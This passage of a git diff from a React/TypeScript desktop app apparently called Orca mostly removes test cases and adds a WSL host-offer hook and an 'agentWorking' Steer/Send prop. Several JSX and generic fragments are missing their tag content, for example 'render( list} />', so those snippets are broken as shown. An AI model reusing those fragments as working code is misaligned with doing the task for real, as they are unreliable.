createRoot, type Root } from 'react-dom/client' import { afterEach, describe, expect, it, vi } from 'vitest' import { - setupGuideProjectPrompt, WorkspacesAction, cancelPendingSetupGuideTourRequest, - getSetupGuideGitRepo, - isSetupGuideWorkspaceComposerRequestCurrent, - promptForSetupGuideProject, requestSetupGuideTourWhenReady } from './FeatureWallSetupWorkflowActions' import { useAppStore } from '@/store' -import { toast } from 'sonner' import type { Repo } from '../../../../shared/repo-types' vi.mock('sonner', () => ({ @@ -65,33 +60,6 @@ describe('setup guide workflow actions', () => { }) }) - it('prompts for a project before setup-guide actions that need one', () => { - const openModal = vi.fn() - - promptForSetupGuideProject(openModal) - - expect(openModal).toHaveBeenCalledWith('add-repo') - expect(toast.message).toHaveBeenCalledWith(setupGuideProjectPrompt()) - }) - - it('chooses the active git repo for setup-guide workspace creation', () => { - const active = makeRepo('active') - - expect(getSetupGuideGitRepo([makeRepo('first'), active], 'active')).toBe(active) - }) - - it('falls back to the first git repo when the active project is a folder', () => { - const gitRepo = makeRepo('git') - - expect(getSetupGuideGitRepo([makeRepo('folder', { kind: 'folder' }), gitRepo], 'folder')).toBe( - gitRepo - ) - }) - - it('returns no setup-guide repo when only folders exist', () => { - expect(getSetupGuideGitRepo([makeRepo('folder', { kind: 'folder' })], 'folder')).toBeNull() - }) - it('opens the workspace composer with setup-guide tour context from Multi-task', async () => { vi.useFakeTimers() const requestContextualTour = vi.fn() @@ -161,14 +129,4 @@ describe('setup guide workflow actions', () => { cancelPendingSetupGuideTourRequest() vi.useRealTimers() }) - - it('rejects a stale setup-guide composer request after close and reopen', () => { - useAppStore.setState({ - activeModal: 'new-workspace-composer', - modalData: { setupGuideTourRequestId: 'new-request' } - }) - - expect(isSetupGuideWorkspaceComposerRequestCurrent('old-request')).toBe(false) - expect(isSetupGuideWorkspaceComposerRequestCurrent('new-request')).toBe(true) - }) }) diff --git a/src/renderer/src/components/feature-wall/FullDiskAccessSetupPrompt.test.ts b/src/renderer/src/components/feature-wall/FullDiskAccessSetupPrompt.test.ts index ff4bf3b75b6..484ed7432b9 100644 --- a/src/renderer/src/components/feature-wall/FullDiskAccessSetupPrompt.test.ts +++ b/src/renderer/src/components/feature-wall/FullDiskAccessSetupPrompt.test.ts @@ -8,11 +8,8 @@ import type { DeveloperPermissionRequestResult, DeveloperPermissionState } from '../../../../shared/developer-permissions-types' -import { - FullDiskAccessSetupPrompt, - isFullDiskAccessReady, - isFullDiskAccessSetupVisible -} from './FullDiskAccessSetupPrompt' +import { FullDiskAccessSetupPrompt } from './FullDiskAccessSetupPrompt' + import { toast } from 'sonner' vi.mock('sonner', () => ({ @@ -75,24 +72,6 @@ describe('FullDiskAccessSetupPrompt state helpers', () => { }) }) - it('hides the setup prompt before status is known or when unsupported', () => { - expect(isFullDiskAccessSetupVisible(undefined)).toBe(false) - expect(isFullDiskAccessSetupVisible('unsupported')).toBe(false) - }) - - it('shows the setup prompt only for macOS statuses users can act on', () => { - expect(isFullDiskAccessSetupVisible('unknown')).toBe(true) - expect(isFullDiskAccessSetupVisible('denied')).toBe(true) - expect(isFullDiskAccessSetupVisible('granted')).toBe(false) - expect(isFullDiskAccessSetupVisible('ready')).toBe(false) - }) - - it('treats granted and entitled statuses as ready', () => { - expect(isFullDiskAccessReady('granted')).toBe(true) - expect(isFullDiskAccessReady('ready')).toBe(true) - expect(isFullDiskAccessReady('unknown')).toBe(false) - }) - it('refreshes macOS Full Disk Access status when Orca regains focus', async () => { setUserAgent('Macintosh') const getStatus = vi diff --git a/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx b/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx index 26e5496c3f1..78d8466c78d 100644 --- a/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx +++ b/src/renderer/src/components/floating-terminal/FloatingTerminalOrchestrationDialog.freshness.test.tsx @@ -117,25 +117,4 @@ describe('FloatingTerminalOrchestrationDialog freshness', () => { expect(bundledPlan).toHaveBeenCalledTimes(2) expect(document.body.textContent).not.toContain('Update available') }) - - it('never reads client freshness for an SSH-owned skill', async () => { - mocks.canUseSkillFreshness = false - const bundledPlan = vi.fn().mockResolvedValue(plan([])) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a test double implements only the preload methods this code path calls. - window.api = { - skills: { bundledPlan }, - cli: { getInstallStatus: vi.fn().mockResolvedValue({ onPath: true }) } - } as never - - await renderDialog() - expect(document.body.textContent).toContain('Installed') - - await act(async () => { - recheckButton()?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - await act(async () => {}) - - expect(mocks.refreshOrchestrationSkill).toHaveBeenCalledOnce() - expect(bundledPlan).not.toHaveBeenCalled() - }) }) diff --git a/src/renderer/src/components/github-project/ProjectBoard.test.tsx b/src/renderer/src/components/github-project/ProjectBoard.test.tsx index 6dd326a7db0..86a2634addd 100644 --- a/src/renderer/src/components/github-project/ProjectBoard.test.tsx +++ b/src/renderer/src/components/github-project/ProjectBoard.test.tsx @@ -113,22 +113,6 @@ function dragData(rowId: string): { dataTransfer: Partial } { afterEach(cleanup) describe('ProjectBoard', () => { - it('renders one column per option (empty included) plus the no-value column', () => { - render( - list} - /> - ) - expect(screen.getByTestId('board-column-opt_todo')).toBeTruthy() - expect(screen.getByTestId('board-column-opt_done')).toBeTruthy() - expect(screen.getByTestId('board-column-__empty__').textContent).toContain('Loose end') - expect(screen.queryByText('list')).toBeNull() - }) - it('moves a card on drop via onEditField and skips no-op drops', () => { const onEditField = vi.fn() const boardTable = table( @@ -229,16 +213,6 @@ describe('ProjectBoard', () => { expect(screen.getByText('list')).toBeTruthy() }) - it('uses the shared empty-state copy for unfiltered and filtered boards', () => { - const empty = table([TITLE_FIELD, STATUS_FIELD], []) - const { rerender } = render(list} />) - expect(screen.getByText('This view has no items yet.')).toBeTruthy() - expect(screen.queryByText("No items match this view's filter.")).toBeNull() - empty.selectedView.filter = 'status:Done' - rerender(list} />) - expect(screen.getByText("No items match this view's filter.")).toBeTruthy() - }) - it('ignores restricted and unknown payloads and deleted-option drops', () => { const onEditField = vi.fn() render( diff --git a/src/renderer/src/components/host-picker/host-list-surfaces.large-config.test.tsx b/src/renderer/src/components/host-picker/host-list-surfaces.large-config.test.tsx index ade920e47dc..9033b8912ba 100644 --- a/src/renderer/src/components/host-picker/host-list-surfaces.large-config.test.tsx +++ b/src/renderer/src/components/host-picker/host-list-surfaces.large-config.test.tsx @@ -52,21 +52,6 @@ describe('host lists with a 13,692-host ssh config', () => { expect(screen.getAllByRole('option')[0]?.textContent).toContain(lastName) }) - it('HostCombobox treats re-picking the current host as no change', async () => { - const onChange = vi.fn() - render( - ({ id: `ssh-${i}`, label: name }))} - /> - ) - fireEvent.click(screen.getByRole('combobox', { name: 'Host' })) - fireEvent.click(await screen.findByRole('option', { name: names[0] })) - expect(onChange).not.toHaveBeenCalled() - }) - it('Settings > Servers SSH host picker', async () => { const onChange = vi.fn() render( diff --git a/src/renderer/src/components/jira-issue-transition-control.test.tsx b/src/renderer/src/components/jira-issue-transition-control.test.tsx index c562befbc39..be8fb6a3061 100644 --- a/src/renderer/src/components/jira-issue-transition-control.test.tsx +++ b/src/renderer/src/components/jira-issue-transition-control.test.tsx @@ -159,15 +159,6 @@ describe('Jira transition control', () => { expect(mutate).not.toHaveBeenCalled() }) - it('keeps failures visible and exposes Jira fallback', async () => { - await choose( - [close], - vi.fn().mockResolvedValue({ ok: false, error: 'Resolution is required.' }) - ) - expect((await screen.findByRole('alert')).textContent).toContain('Resolution is required.') - expect(screen.getByRole('button', { name: 'Open in Jira' })).toBeTruthy() - }) - it('keeps a rejected mutation visible and offers Jira fallback', async () => { await choose([close], vi.fn().mockRejectedValue(new Error('Disconnected from Jira host.'))) expect((await screen.findByRole('alert')).textContent).toContain('Disconnected from Jira host.') diff --git a/src/renderer/src/components/native-chat-resume-result-view.test.tsx b/src/renderer/src/components/native-chat-resume-result-view.test.tsx index 5f8420e5a3b..9079730f03b 100644 --- a/src/renderer/src/components/native-chat-resume-result-view.test.tsx +++ b/src/renderer/src/components/native-chat-resume-result-view.test.tsx @@ -5,11 +5,10 @@ import { NativeChatResumeOnRestartModal } from './NativeChatResumeRuntimeModal' import { NativeChatResumeStatusSegment } from './status-bar/NativeChatResumeStatusSegment' import { createResumeModalFixture, - failure, - offered, type RestartRpc, type ResumeStatusStream } from './native-chat-resume-modal.test-support' + import { lastToastShow } from './native-chat-resume-toast.test-support' import { chatBox, dontAskAgain } from './native-chat-resume-on-restart-modal.test-support' import { useAppStore } from '../store' @@ -47,22 +46,6 @@ async function mountSurfaces(): Promise { ) } -it('shows a finished resume as a result, in the past tense, once nothing is left to choose', async () => { - fakeHost() - await mountSurfaces() - await act(async () => button('Resume 2 chats').click()) - await act(async () => lastToastShow()?.()) - expect(dialog()?.textContent).toContain('Resumed 2 of 2 chats') - expect(dialog()?.textContent).toContain( - 'Orca restored each one where it stopped, with its full context' - ) - expect(dialog()?.textContent).not.toContain('Resuming restores') - expect(tree()?.querySelectorAll('[role="checkbox"]')).toHaveLength(0) - expect(tree()?.textContent).not.toContain('Select all') - expect(dialog()?.textContent).toContain("Don't ask again") - expect(dialog()?.textContent).not.toContain('Resumed automatically') -}) - it('saves "Don\'t ask again" ticked on a finished resume the user started', async () => { fakeHost() await mountSurfaces() @@ -151,32 +134,6 @@ it('reopens a collapsed result group with tree keys', async () => { expect(document.activeElement).toBe(disclosure) }) -it('shows a settled nonretryable failure as a result with a Done action', async () => { - const failed = { ...failure('a'), outcome: 'refused' as const, retryable: false } - let acted = false - rpc.mockImplementation(async (_target, method) => { - if (method === 'agentSession.restartResumable') { - return { sessions: acted ? [] : [offered[0]], failed: acted ? [failed] : [] } - } - acted = true - return { - sessions: [], - failed: [failed], - continued: [{ sessionId: 'a', outcome: 'refused' }] - } - }) - await mountSurfaces() - await act(async () => button('Resume 1 chat').click()) - await act(async () => lastToastShow()?.()) - expect(dialog()?.textContent).toContain('Resumed 0 of 1 chat') - expect(tree()?.textContent).not.toContain('Select all') - expect(tree()?.querySelectorAll('[role="checkbox"]')).toHaveLength(0) - expect(button('Open chat')).toBeTruthy() - expect(button('Dismiss "Prompt a" in workspace')).toBeTruthy() - expect(button('Done').disabled).toBe(false) - expect(dialog()?.textContent).not.toContain('Resume 0 chats') -}) - it('does not place an untouched offer in the Need you filter', async () => { fakeHost() await mountSurfaces() @@ -216,14 +173,3 @@ it('says a launch resumed on its own and links to the setting', async () => { }) expect(dialog()).toBeNull() }) - -it('keeps the checkboxes while a chat can still be chosen, whichever tab is shown', async () => { - fakeHost({}, (sessionId) => (sessionId === 'b' ? 'refused' : 'continued')) - await mountSurfaces() - await act(async () => button('Resume 2 chats').click()) - await act(async () => button('1 chat failed to resume').click()) - expect(dialog()?.textContent).toContain('The ones Orca resumed were restored') - expect(tree()?.textContent).toContain('Select all') - await act(async () => button('Resumed1').click()) - expect(tree()?.textContent).toContain('Select all') -}) diff --git a/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx b/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx index bbf9729a729..b9fc65f0748 100644 --- a/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx +++ b/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx @@ -53,16 +53,6 @@ function renderUserMessage(source?: AgentMessageSource, worktreeId: string | nul } describe("another agent's message in the transcript", () => { - it('reads as a left-aligned message from its sender, not as the person’s bubble', () => { - const { container } = renderUserMessage(from([{ address: CODER.address, name: 'Coder' }])) - expect(screen.getByText('Message from')).toBeInTheDocument() - const row = container.firstElementChild - expect(row).toHaveClass('items-start') - expect(row).not.toHaveClass('items-end') - expect(container.querySelector('.bg-chat-user-surface')).toBeNull() - expect(screen.getByText('You have 1 orchestration message.')).toBeInTheDocument() - }) - it("opens the sender from its name, on the chat's own host, with the message it sent", () => { const source = from([{ address: CODER.address, name: 'Coder' }]) renderUserMessage(source) @@ -71,59 +61,6 @@ describe("another agent's message in the transcript", () => { kind: 'local' }) }) - - it('separates the names as the queued card does, and keeps two same-named senders two', () => { - const { container } = renderUserMessage( - from([ - { address: 'term_a', name: 'Codex' }, - { address: 'term_b', name: 'Codex' } - ]) - ) - expect(screen.getByText('Message from')).toBeInTheDocument() - expect(screen.getAllByRole('button', { name: 'Codex' })).toHaveLength(2) - expect(container.textContent).toContain('Codex,Codex') - }) - - it('names each sender, an unnamed one as an agent, and counts the rest', () => { - renderUserMessage( - from([ - { address: 'term_a', name: 'A' }, - { address: 'term_b', name: null }, - { address: 'term_c', name: 'C' }, - { address: 'term_d', name: 'D' } - ]) - ) - expect(screen.getByRole('button', { name: 'A' })).toBeInTheDocument() - expect(screen.getByRole('button', { name: 'an agent' })).toBeInTheDocument() - expect(screen.getByRole('button', { name: 'C' })).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'D' })).not.toBeInTheDocument() - expect(screen.getByText('+1')).toBeInTheDocument() - }) - - it('shows a sender on another host as plain text, since this host cannot open it', () => { - renderUserMessage( - from([ - { address: 'dispatch:d1', name: 'Port the parser' }, - { address: CODER.address, name: 'Coder' } - ]) - ) - expect(screen.getByText('Port the parser')).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'Port the parser' })).not.toBeInTheDocument() - expect(screen.getByRole('button', { name: 'Coder' })).toBeInTheDocument() - }) - - it('shows the name as plain text where there is no chat to open it from', () => { - renderUserMessage(from([{ address: CODER.address, name: 'Coder' }]), null) - expect(screen.getByText('Coder')).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'Coder' })).not.toBeInTheDocument() - }) - - it("leaves the person's own message as their right-aligned bubble", () => { - const { container } = renderUserMessage() - expect(screen.queryByText('Message from')).not.toBeInTheDocument() - expect(container.firstElementChild).toHaveClass('items-end') - expect(container.querySelector('.bg-chat-user-surface')).not.toBeNull() - }) }) describe("another agent's queued card", () => { @@ -143,7 +80,7 @@ describe("another agent's queued card", () => { onSteer={vi.fn()} onDelete={vi.fn()} onEdit={vi.fn()} - onTurnOffQueueing={vi.fn()} + agentWorking /> ) } @@ -158,18 +95,4 @@ describe("another agent's queued card", () => { fireEvent.click(screen.getByRole('button', { name: 'Coder' })) expect(openAgentMessageSender).toHaveBeenCalledWith(source, source.senders[0], 'wt-chat') }) - - it('counts in "+N" only the senders it does not name, same-named ones included', () => { - renderCard( - from(['term_a', 'term_b', 'term_c', 'term_d'].map((address) => ({ address, name: 'Codex' }))) - ) - expect(screen.getAllByRole('button', { name: 'Codex' })).toHaveLength(3) - expect(screen.getByText('+1')).toBeInTheDocument() - }) - - it('shows the name as plain text where there is no chat to open it from', () => { - renderCard(from([{ address: 'term_a', name: 'Coder' }]), null) - expect(screen.getByText('Coder')).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'Coder' })).not.toBeInTheDocument() - }) }) diff --git a/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx b/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx index 1b91a1f0df7..1c93a3fd860 100644 --- a/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx +++ b/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx @@ -56,10 +56,11 @@ export const NativeChatComposerPane = forwardRef 0, - ...(!editSession && steerQueued ? { steerQueued } : {}), + ...(!editSession && steerHead ? { steerHead } : {}), setActiveSuggestion, setDraft, setCaret @@ -383,11 +388,7 @@ export const NativeChatComposerPane = forwardRef options }) diff --git a/src/renderer/src/components/native-chat/NativeChatMarkdown.mermaid.test.tsx b/src/renderer/src/components/native-chat/NativeChatMarkdown.mermaid.test.tsx index 47724ec02a9..3fe8782efe3 100644 --- a/src/renderer/src/components/native-chat/NativeChatMarkdown.mermaid.test.tsx +++ b/src/renderer/src/components/native-chat/NativeChatMarkdown.mermaid.test.tsx @@ -110,34 +110,6 @@ describe('native chat Mermaid fences', () => { expect(container.querySelector('[data-code-language="mermaid"]')).toBeNull() }) - it('shows partial source while streaming and renders the diagram when the reply finishes', async () => { - const { container, rerender } = render(reply(partial, true)) - expect(container.querySelector('[data-native-chat-code-content]')?.textContent).toContain( - partial - ) - expect(container.querySelector('[data-code-language="mermaid"]')).toBeInTheDocument() - expect(container.querySelector('.mermaid-block')).toBeNull() - - rerender(reply(complete, true)) - expect(container.querySelector('pre')?.textContent).toContain(complete) - - rerender(reply(complete, false)) - await waitFor(() => - expect(container.querySelector('svg')).toHaveTextContent('Sync with main once') - ) - expect(mermaid.render).toHaveBeenCalledWith(expect.any(String), complete) - expect(container.querySelector('pre')).toBeNull() - expect(screen.queryByText(/Diagram error:/)).not.toBeInTheDocument() - }) - - it('still shows the existing error and source for an invalid finished reply', async () => { - mermaid.render.mockRejectedValue(new Error('Invalid mermaid syntax')) - const { container } = render(reply(partial, false)) - await screen.findByText(/Diagram error: Invalid mermaid syntax/) - expect(container.querySelector('pre')?.textContent).toBe(partial.trimEnd()) - expect(container.querySelector('svg')).toBeNull() - }) - it('keeps the source mounted until a pending diagram fails', async () => { const pending = holdNextRender() const view = render(reply(partial, true)) diff --git a/src/renderer/src/components/native-chat/NativeChatQueuedMessageCard.tsx b/src/renderer/src/components/native-chat/NativeChatQueuedMessageCard.tsx index e1bdb19a3e3..a85161b3146 100644 --- a/src/renderer/src/components/native-chat/NativeChatQueuedMessageCard.tsx +++ b/src/renderer/src/components/native-chat/NativeChatQueuedMessageCard.tsx @@ -88,14 +88,17 @@ export function queuedMessageCardCaption( } } -/** Steer's or Send's label and tooltip (`queuedMessageCardSteers`). */ -export function queuedMessageCardSendNow(card: QueuedMessageCard): { +/** Steer's or Send's label and tooltip: Steer only into a turn that is running (`queuedMessageCardSteers`). */ +export function queuedMessageCardSendNow( + card: QueuedMessageCard, + agentWorking: boolean +): { /** Steer's ↳, or Send's paper plane. */ steers: boolean label: string hint: string } { - if (!queuedMessageCardSteers(card)) { + if (!agentWorking || !queuedMessageCardSteers(card)) { return { steers: false, label: translate('components.native-chat.queuedMessages.send', 'Send'), @@ -118,6 +121,7 @@ export function NativeChatQueuedMessageCard({ agentName, statedFailures, showsSteerShortcut, + agentWorking, steerHeld = false, pending = null, onSteer, @@ -126,16 +130,17 @@ export function NativeChatQueuedMessageCard({ editor, editAttachTo, editDisabled = false, - drag, - onTurnOffQueueing + drag }: { card: QueuedMessageCard /** The chat's worktree, whose host its sender is found on; null shows the sender unlinked. */ chatWorktreeId: string | null agentName?: string statedFailures?: readonly AgentSessionFailureFact[] - /** Only the newest card answers Cmd/Ctrl+Enter; only it may show the chord. */ + /** Only the head card answers Cmd/Ctrl+Shift+Enter; only it may show the chord. */ showsSteerShortcut: boolean + /** The agent is working: a steerable card's action reads Steer, otherwise Send. */ + agentWorking: boolean /** The chat reads Stopping: the card waits for the stop (`NativeChatQueuedMessageList`). */ steerHeld?: boolean /** Disable the card during its own action or Clear all; spin only the pressed action. */ @@ -151,14 +156,12 @@ export function NativeChatQueuedMessageCard({ /** Another card in this pane is being edited. */ editDisabled?: boolean drag?: QueuedMessageDragPresentation - /** Absent when the host does not queue sends, so there is nothing to turn off. */ - onTurnOffQueueing?: () => void }): React.JSX.Element { const caption = queuedMessageCardCaption(card, agentName, statedFailures) const line = queuedMessageCardLine(card, nativeChatImageLabelCopy()) const returned = card.state === 'returned' const attention = queuedMessageCardNeedsAttention(card) - const sendNow = queuedMessageCardSendNow(card) + const sendNow = queuedMessageCardSendNow(card, agentWorking) const busy = pending !== null const isMac = isMacPlatform() // Allow inspecting clipped text before acting; another agent may have authored the card. @@ -275,7 +278,9 @@ export function NativeChatQueuedMessageCard({ {sendNow.hint} {showsSteerShortcut ? ( - + ) : null} @@ -300,7 +305,8 @@ export function NativeChatQueuedMessageCard({ {translate('components.native-chat.queuedMessages.delete', 'Delete')} - {(!card.command && onEdit) || onTurnOffQueueing ? ( + {/* A command's text is not a draft: edited, it would become a message. */} + {!card.command && onEdit ? (
) - } + } satisfies Components } export function createDocumentCommentMarkdownComponents( diff --git a/src/renderer/src/components/sidebar/delete-worktree-failure-toast.test.tsx b/src/renderer/src/components/sidebar/delete-worktree-failure-toast.test.tsx index 5a921379209..07c2ffca3b0 100644 --- a/src/renderer/src/components/sidebar/delete-worktree-failure-toast.test.tsx +++ b/src/renderer/src/components/sidebar/delete-worktree-failure-toast.test.tsx @@ -90,38 +90,6 @@ describe('showDeleteWorktreeFailureToast', () => { expect(onForceDelete).toHaveBeenCalled() }) - it('keeps non-forceable failures destructive without a force action', () => { - const onViewChanges = vi.fn() - - showDeleteWorktreeFailureToast({ - error: 'permission denied', - canForceDelete: false, - forceDeleteReason: null, - onViewChanges, - onForceDelete: vi.fn(), - onDeleteAnyway: vi.fn(), - worktreeId: 'wt-2', - worktreeName: 'feature/bar' - }) - - expect(toast.error).toHaveBeenCalledWith( - 'Failed to delete workspace feature/bar', - expect.objectContaining({ - id: 'delete-worktree-failure:|wt-2', - dismissible: true, - duration: 10000 - }) - ) - - const body = renderToastBody('error') - expect(body.textContent).toContain('permission denied') - expect(body.textContent).not.toContain('Force Delete') - - clickButton(body, 'View') - expect(toast.dismiss).toHaveBeenCalledWith('delete-worktree-failure:|wt-2') - expect(onViewChanges).toHaveBeenCalled() - }) - it('offers Delete Anyway when the archive hook refused the removal', () => { const onDeleteAnyway = vi.fn() @@ -150,80 +118,4 @@ describe('showDeleteWorktreeFailureToast', () => { expect(toast.dismiss).toHaveBeenCalledWith('delete-worktree-failure:|wt-archive') expect(onDeleteAnyway).toHaveBeenCalled() }) - - it('does not offer Delete Anyway for an ordinary failure', () => { - showDeleteWorktreeFailureToast({ - error: 'permission denied', - canForceDelete: false, - forceDeleteReason: null, - onViewChanges: vi.fn(), - onForceDelete: vi.fn(), - onDeleteAnyway: vi.fn(), - worktreeId: 'wt-plain', - worktreeName: 'feature/plain' - }) - - expect(renderToastBody('error').textContent).not.toContain('Delete Anyway') - }) - - it('offers neither force delete nor View for a locked workspace', () => { - const onViewChanges = vi.fn() - - showDeleteWorktreeFailureToast({ - error: 'Worktree is locked by Git.', - canForceDelete: false, - forceDeleteReason: null, - onViewChanges, - onForceDelete: vi.fn(), - onDeleteAnyway: vi.fn(), - worktreeId: 'wt-locked', - worktreeName: 'feature/locked' - }) - - const body = renderToastBody('info') - expect(body.textContent).toContain('This workspace is locked by Git.') - expect(body.textContent).toContain( - 'Run git worktree unlock from its repository, then retry deletion' - ) - expect(body.textContent).not.toContain('Force Delete') - expect(body.textContent).not.toContain('View') - expect(onViewChanges).not.toHaveBeenCalled() - }) - - it('keeps View for a locked workspace when changed files are known', () => { - showDeleteWorktreeFailureToast({ - error: 'Worktree is locked by Git.', - canForceDelete: false, - forceDeleteReason: null, - lockReason: 'active agent session', - hasKnownChanges: true, - onViewChanges: vi.fn(), - onForceDelete: vi.fn(), - onDeleteAnyway: vi.fn(), - worktreeId: 'wt-locked-dirty', - worktreeName: 'feature/locked-dirty' - }) - - const body = renderToastBody('info') - expect(body.textContent).toContain('Git reported: active agent session') - expect(body.textContent).toContain('View') - }) - it('offers a persistent nested deletion review for the exact failed target', () => { - Object.assign(window, { api: { worktrees: { previewNestedRemoval: vi.fn() } } }) - showDeleteWorktreeFailureToast({ - error: - 'Refusing to delete worktree because it contains another registered worktree: /parent/child', - canForceDelete: false, - forceDeleteReason: null, - onViewChanges: vi.fn(), - onForceDelete: vi.fn(), - onDeleteAnyway: vi.fn(), - worktreeId: 'repo::/parent', - worktreeName: 'parent', - nestedRemovalTarget: { id: 'repo::/parent', executionHostId: 'local' } - }) - const body = renderToastBody('error') - expect(body.textContent).toContain('Delete with nested worktrees…') - expect(vi.mocked(toast.error).mock.calls.at(-1)?.[1]?.duration).toBe(Infinity) - }) }) diff --git a/src/renderer/src/components/sidebar/preserved-branch-batch-toast.test.tsx b/src/renderer/src/components/sidebar/preserved-branch-batch-toast.test.tsx index cba83d4c26e..0a3cf2e7dda 100644 --- a/src/renderer/src/components/sidebar/preserved-branch-batch-toast.test.tsx +++ b/src/renderer/src/components/sidebar/preserved-branch-batch-toast.test.tsx @@ -155,17 +155,6 @@ describe('showPreservedBranchBatchToast', () => { }) }) - it('keeps older-server branches visible without offering an unsafe delete', () => { - showPreservedBranchBatchToast(3, [{ worktreeId: 'repo-a::one', branchName: 'feature/one' }]) - const body = renderToastBody() - - expect(body.querySelector('button')).toBeNull() - expect(toast.warning).toHaveBeenCalledWith( - '3 workspaces removed, 1 branch kept', - expect.not.objectContaining({ duration: Infinity }) - ) - }) - it('serializes branch deletion within one repository', async () => { let resolveFirst: (result: { ok: true; deleted: true }) => void = () => {} mocks.state.forceDeletePreservedBranch diff --git a/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx b/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx index b02d5f0747f..43ab780202d 100644 --- a/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx +++ b/src/renderer/src/components/sidebar/preserved-branch-toast.test.tsx @@ -105,32 +105,6 @@ describe('showPreservedBranchToast', () => { ) }) - it('saves the future branch choice before deleting the current branch', async () => { - const savePreference = vi.fn().mockResolvedValue(undefined) - const onForceDelete = vi.fn() - showPreservedBranchToast( - { preservedBranch: { branchName: 'feature/test', head: 'abc123' } }, - undefined, - onForceDelete, - savePreference - ) - const body = renderToastBody() - const trigger = body.querySelector('button[aria-label="More branch delete options"]') - expect(trigger).not.toBeNull() - - await act(async () => { - trigger?.dispatchEvent(new KeyboardEvent('keydown', { key: 'ArrowDown', bubbles: true })) - }) - const option = document.querySelector('[role="menuitem"]') - expect(option?.textContent).toBe('Always delete preserved branches') - await act(async () => { - option?.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) - - expect(savePreference).toHaveBeenCalledOnce() - expect(onForceDelete).toHaveBeenCalledWith('feature/test', 'abc123') - }) - it('keeps the branch and toast when saving the future choice fails', async () => { const savePreference = vi.fn().mockRejectedValue(new Error('disk full')) const onForceDelete = vi.fn() diff --git a/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts b/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts index f96265c39b9..e544403c2d8 100644 --- a/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts +++ b/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts @@ -36,6 +36,7 @@ export function useAddRepoHostSelection({ /** The host the picker shows: the chosen one, even while it is still coming up. */ displayedHostId: ExecutionHostId | null selectedParsedHost: ReturnType + selectedHostLabel: string | null hostSelectorOpen: boolean setHostSelectorOpen: (open: boolean) => void /** False when the host cannot be selected, so the selection did not change. */ @@ -228,6 +229,8 @@ export function useAddRepoHostSelection({ selectedHostId, displayedHostId, selectedParsedHost, + selectedHostLabel: + selectableHostOptions.find((host) => host.id === selectedHostId)?.label ?? null, hostSelectorOpen, setHostSelectorOpen, handleSelectAddProjectHost, diff --git a/src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx b/src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx new file mode 100644 index 00000000000..19463f0134d --- /dev/null +++ b/src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx @@ -0,0 +1,54 @@ +import { useCallback, useState, type ReactNode } from 'react' +import { useAppStore } from '@/store' +import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import type { AddRepoExistingWorkspaceSource } from '../../../../shared/telemetry-events' +import { AddRepoWslHostOffer } from './AddRepoWslHostOffer' +import { readWslHostOfferGate, wslHostOfferFor } from './wsl-host-offer' +import type { WslHostOffer } from './wsl-host-offer-actions' + +/** Holds a local `\\wsl.localhost` add to offer its distro as a host; reads only the path (E9). */ +export function useAddRepoWslHostOffer( + isOpen: boolean, + selectedHostId: ExecutionHostId | null +): { + offer: (path: string, source: AddRepoExistingWorkspaceSource) => boolean + notice: ( + addLocalPath: (path: string, source: AddRepoExistingWorkspaceSource) => Promise + ) => ReactNode +} { + const [pending, setPending] = useState(null) + const [wasOpen, setWasOpen] = useState(isOpen) + // Closing the dialog drops the offer (adjusted during render, not in an effect). + if (wasOpen !== isOpen) { + setWasOpen(isOpen) + if (!isOpen) { + setPending(null) + } + } + const offer = useCallback( + (path: string, source: AddRepoExistingWorkspaceSource): boolean => { + if (selectedHostId !== LOCAL_EXECUTION_HOST_ID) { + return false + } + const distro = wslHostOfferFor(path, readWslHostOfferGate(useAppStore.getState())) + if (!distro) { + return false + } + setPending({ path, distro, source }) + return true + }, + [selectedHostId] + ) + return { + offer, + notice: (addLocalPath) => + pending && selectedHostId === LOCAL_EXECUTION_HOST_ID ? ( + setPending(null)} + addLocalPath={addLocalPath} + /> + ) : null + } +} diff --git a/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx b/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx index cef4b75a3b6..3f1f5eac6dc 100644 --- a/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx +++ b/src/renderer/src/components/sidebar/use-worktree-card-secondary-details.store-subscriptions.test.tsx @@ -138,89 +138,6 @@ describe('useWorktreeCardSecondaryDetails store subscriptions', () => { unmount() expect(listenerCount()).toBe(baseline) }) - - it('reads the cache TTL from the passed settings', () => { - let cacheTtlMs = -1 - function Probe({ ttl }: { ttl: number }): null { - cacheTtlMs = useWorktreeCardSecondaryDetails( - secondaryDetailsArgs(makeSettings(ttl)) - ).cacheTtlMs - return null - } - - mount() - expect(cacheTtlMs).toBe(300_000) - - act(() => root?.render()) - expect(cacheTtlMs).toBe(120_000) - }) - - it('reports no TTL while the aggregate cache timer is suppressed', () => { - let cacheTtlMs = -1 - function Probe(): null { - // compactCards 